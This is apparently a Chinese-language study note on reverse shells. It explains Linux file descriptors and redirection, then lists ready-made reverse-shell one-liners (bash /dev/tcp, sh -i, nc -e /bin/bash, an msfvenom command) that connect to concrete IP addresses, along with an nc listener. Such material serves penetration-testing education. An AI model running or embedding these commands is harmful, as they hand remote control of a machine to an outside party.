前置知识

正反向shell

  • 正向shell: 控制端主动发起连接请求去连接被控制端, 中间网络链路不存在阻碍
  • 反向shell(反弹shell): 被控端主动发起连接请求去连接控制端, 通常被控端由于防火墙限制、 权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包

Linux标准文件描述符:

Linux系统将所有设备都当作文件来处理, 而Linux用文件描述符来标识每个文件对象; 当Linux启 动的时候会默认打开三个文件描述符

文件描述符 缩写 描述 默认设备
0 STDIN 标准输入 默认设备键盘
1 STDOUT 标准输出 默认设备显示器
2 STDERR 标准错误输出 默认设备显示器

更改标准输出/输入的位置

把标准输出位置更改到test文件中

bash
exec 1> test

把当前标准输出重定向到test文件中

bash
echo `flag` 1> test

把test文件中的内容重定向到标准输入

bash
read user 0< test
echo $user

标准错误输出和标准输出的区别是,它在命令出错情况下的输出

分配自己的文件描述符: 把文件描述符5指向test文件, 然后把当前输出重定向到文件描述符5(用&引用文件描述符, 即找到文件(描述符指向的目标文件)

bash
exec 5> test
echo 'are you ok?' 1>&5
cat test

/dev/null

特殊文件,写入的任何东西都会被清空。

  1. 把标准错误输出重定向到/dev/null,从而丢掉不想保存的错误信息
bash
whoami 2>/dev/null
  1. 快速移除文件中的数据而不用删除文件
bash
cat /dev/null > test

重定向

重定向是把输出定向到文件或者标准流; 重定向输入输出本质上就是重定向文件描述符

bash
< 从文件读取输入
> 将输出保存到文件
>> 将输出追加到文件
| 将一个程序的输出作为输入发送到另一个程序(管道符)

反弹shell本质

被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导 致被控端不能正常接收发送过来的数据包

反弹shell方法

Bash

bash
# 被控端:
bash -i >& /dev/tcp/47.101.214.85/6666 0>&1
bash -i > /dev/tcp/10.10.1.11/6666 0>&1 2>&1
# 控制端:
nc -lvnp 6666

解释

bash
# 打开一个交互式的bash shell
bash -i
# /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据
# 和10.10.1.11的6666端口建立TCP连接
/dev/tcp/10.10.1.11/6666
# 混合输出(正确、错误的输出都输出到一个地方)
>&、&>

一些反弹shell

自动生成反弹shell网站

利用msf生成:

bash
msfvenom -p cmd/unix/reverse_bash lhost=172.16.8.131  lport=1234

生成例子:

bash
bash -c '0<&84-;exec 84<>/dev/tcp/172.16.8.131/1234;sh <&84 >&84 2>&84'

直接写:

bash
bash -i >& /dev/tcp/47.101.214.85/6666 0>&1
bash -i > /dev/tcp/10.10.1.11/6666 0>&1 2>&1
bash -c 'bash -i >& /dev/tcp/172.16.8.131/1234 0>&1'

sh -i >& /dev/tcp/192.168.110.130/7777 0>&1

利用nc反弹shell

bash
nc -e /bin/bash 192.168.110.130 7777